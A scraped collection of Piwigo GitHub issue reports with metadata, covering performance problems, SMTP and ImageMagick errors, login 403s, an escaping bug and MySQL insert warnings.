If you have too many photos (in our specific case, that's 52k photos in sub-albums), the "new" algorithm to detect how many photos would become orphans if we delete the album. Indeed Piwigo sends the full list of image_ids associated to the album (and sub-albums).
In my current case, the SQL query takes 78 seconds and simply leads to `Gateway Timeout`in nginx.
|
[albums] performance issue on edition page, when too many photos
|
https://api.github.com/repos/Piwigo/Piwigo/issues/972/comments
| 0 |
2019-01-28T10:58:21Z
|
2019-04-08T15:57:40Z
|
https://github.com/Piwigo/Piwigo/issues/972
| 403,756,743 | 972 |
[
"Piwigo",
"Piwigo"
] |
In the Batch Manager, for the action "Synchronize Metadata", instead of performing the whole sync in a single operation, it would be safer and more user friendly to use a progression system.
A single photo at a time might be too slow, so we need to be able to sync "by block".
|
[Batch Manager] progression for synchronize metadata
|
https://api.github.com/repos/Piwigo/Piwigo/issues/966/comments
| 0 |
2019-01-21T09:42:14Z
|
2019-01-27T16:16:47Z
|
https://github.com/Piwigo/Piwigo/issues/966
| 401,267,929 | 966 |
[
"Piwigo",
"Piwigo"
] |
Piwigo environment:
Piwigo 2.9.4
Operating system: FreeBSD
PHP: 7.3.1 (Show info) [2019-01-21 06:57:08]
MySQL: 5.5.5-10.0.37-MariaDB [2019-01-21 06:57:08]
Graphics Library: ImageMagick 6.9.10-22
I have these settings in the LocalFilesEditor:
$conf['smtp_host'] = 'your smtp host:Port(usually 25)';
$conf['smtp_user'] = smtp user';
$conf['smtp_password'] = 'your smtp password#';
$conf['mail_sender_email'] = 'your mail adresse';
$conf['mail_allow_html'] = true;
$conf['smtp_secure'] = null;
All details have been filled correctly however, when I try to subscribe a user to get notifications I am presented with this error:
Error when sending email to User [email protected]
User not added to the subscription list
1 mail has not been sent.
1 user not updated.
Unfortunately I don't see anything in the logs either and since I'm using an external mail server nothing is in the maillog file.
What is the best way to diagnose the issue? I should have all the necessary php modules installed so I am not sure where to begin with this one...
|
Unable to Subscribe for email notification
|
https://api.github.com/repos/Piwigo/Piwigo/issues/965/comments
| 0 |
2019-01-21T07:06:59Z
|
2019-01-21T07:06:59Z
|
https://github.com/Piwigo/Piwigo/issues/965
| 401,219,709 | 965 |
[
"Piwigo",
"Piwigo"
] |
Hi, I just performed some system updates today and now I am getting these errors in my logs:
"PHP message: PHP Fatal error: Uncaught ImagickException: unable to open image `././upload/2019/01/20/20190120213924-8e04e925.jpg': No such file or directory @ error/blob.c/OpenBlob/2875
and of course images are not loading.
This is my Imagick version: php73-pecl-imagick-3.4.3_3
and this is the Piwigo environment:
Piwigo 2.9.4
Operating system: FreeBSD
PHP: 7.3.1 (Show info) [2019-01-21 06:57:08]
MySQL: 5.5.5-10.0.37-MariaDB [2019-01-21 06:57:08]
Graphics Library: ImageMagick 6.9.10-22
Is there anything in Piwigo that can be done to fix this or is this simply a bug upstream?
|
Unable to load images after Imagick update
|
https://api.github.com/repos/Piwigo/Piwigo/issues/964/comments
| 2 |
2019-01-21T06:58:34Z
|
2021-10-01T23:05:30Z
|
https://github.com/Piwigo/Piwigo/issues/964
| 401,217,613 | 964 |
[
"Piwigo",
"Piwigo"
] |
I am getting the following errors on a brand new installation of 2.9.4:
=========================
Forbidden
You don't have permission to access /identification.php on this server.
Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.
=========================
This happens in 2 scenarios:
1. Clicking the Login link (sends me to identification.php) and then entering details in the main content are in the middle of the screen.
2. Trying to login from a mobile device (iPhone SE, iOS 12.1.2, Safari) by clicking: 'dialpad' icon in upper right >> +Identification >> Login
It DOES NOT happen when:
1. Logging in from the Identification block in the bottom left part of the sidebar on a PC;
2. Switching to Desktop view on a mobile device and then doing 1. above.
I setup a test site at an old domain I don't use forex-autopilot.com. You can try logging in with name:cheap. I can also provide admin pass or the DB or any other installation details upon request. This domain will expire in a few weeks, so if anybody could take a look at this befre this happens it would be great!
The installation was done via a Softaculos script provided by my host (namecheap).
PHP details are as follows:
- - - - -
Current PHP version: 5.6
allow_url_fopen | On
display_errors | Off
error_reporting | E_ALL
file_uploads | On
include_path | .:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php
log_errors | On
mail.force_extra_parameters | no value
max_execution_time | 300
max_input_time | -1
memory_limit | 512M
open_basedir | no value
post_max_size | 128M
session.save_path | /tmp
short_open_tag | On
upload_max_filesize | 512M
|
permission to access /identification.php + 403 Forbidden in ErrorDocument
|
https://api.github.com/repos/Piwigo/Piwigo/issues/963/comments
| 3 |
2019-01-18T09:17:09Z
|
2021-09-06T16:16:54Z
|
https://github.com/Piwigo/Piwigo/issues/963
| 400,636,342 | 963 |
[
"Piwigo",
"Piwigo"
] |
Currently, piwigo requires that pictures are stored in its own folder structure, right? At least I haven't found a way of handling pictures in an existing folder structure.
Why is this restriction necessary?
This is in fact a rather strong counter argument to me for using piwigo, as I want to keep my files being stored the way they already are, but use them with piwigo anyways.
Would it be a big effort adding this kind of functionality?
Alternatively, it would also be an improvement to me, if pictures could be linked via symlinks instead of being duplicated into piwigos folder structure.
|
Using piwigo with pictures in existing folder structure
|
https://api.github.com/repos/Piwigo/Piwigo/issues/960/comments
| 7 |
2019-01-14T09:08:21Z
|
2021-03-06T21:50:18Z
|
https://github.com/Piwigo/Piwigo/issues/960
| 398,799,335 | 960 |
[
"Piwigo",
"Piwigo"
] |
If you use plugin AddUsersNotes and you set the "guest" usernote with an single quote, you won't be able to add any new user correctly. Indeed, in function `create_user_infos` we simply copy fields from user "guest" to the new user, without protecting string values.
|
Users not added in user_infos table
|
https://api.github.com/repos/Piwigo/Piwigo/issues/958/comments
| 3 |
2019-01-10T14:08:57Z
|
2019-01-27T16:19:22Z
|
https://github.com/Piwigo/Piwigo/issues/958
| 397,846,990 | 958 |
[
"Piwigo",
"Piwigo"
] |
Newly installed, Piwigo 2.9.4
ImageMagick 7.0.8-23 was properly installed _after_ the install of Piwigo.
(GD Library was never installed on this Ubuntu system).
All other image functionality works fine in this Piwigo installation.
|
photos_add page not finding ImageMagick, returns 'GD library is missing'.
|
https://api.github.com/repos/Piwigo/Piwigo/issues/957/comments
| 10 |
2019-01-09T15:44:29Z
|
2021-10-19T12:22:14Z
|
https://github.com/Piwigo/Piwigo/issues/957
| 397,430,040 | 957 |
[
"Piwigo",
"Piwigo"
] |
The included version of JShrink is over 6 years old and begins to have issues with newer PHP releases.
Users reported an issue where literal PHP deprecated warnings got merged in the the combined js file, causing javascript syntax errors. See https://github.com/tkuther/piwigo-bootstrap-darkroom/issues/185
JShrink should be upgraded to the latest version v1.3.1.
|
Included JShrink version issues with PHP 7.3
|
https://api.github.com/repos/Piwigo/Piwigo/issues/951/comments
| 4 |
2018-12-26T08:43:02Z
|
2021-08-02T17:17:08Z
|
https://github.com/Piwigo/Piwigo/issues/951
| 394,116,542 | 951 |
[
"Piwigo",
"Piwigo"
] |
I have the following issue when adding a new tag:
```
Warning: [mysql error 1364] Field 'id' doesn't have a default value
INSERT INTO piwigo_tags
(name,url_name)
VALUES('newtag','newtag') in [...]/include/dblayer/functions_mysqli.inc.php on line 845
```
Piwigo reports that the tag has been successfully added, but it hasn't.
The same issue occurs when searching:
```
Warning: [mysql error 1364] Field 'id' doesn't have a default value
INSERT INTO piwigo_search
(rules, last_seen)
VALUES
('a:1:{s:1:\"q\";s:6:\"foobar\";}', NOW() )
; in [...]/include/dblayer/functions_mysqli.inc.php on line 845
```
Tested using Piwigo 2.9.4, MariaDB 10.3 and PHP 7.
The simple "echo error" in `functions_mysqli.inc.php` does also cause a `Warning: Cannot modify header information - headers already sent by (output started at [...]/include/dblayer/functions_mysqli.inc.php:844) in [...]/include/page_header.php on line 101`.
|
Field 'id' doesn't have a default value
|
https://api.github.com/repos/Piwigo/Piwigo/issues/950/comments
| 2 |
2018-12-15T13:35:29Z
|
2021-06-27T19:34:57Z
|
https://github.com/Piwigo/Piwigo/issues/950
| 391,379,219 | 950 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.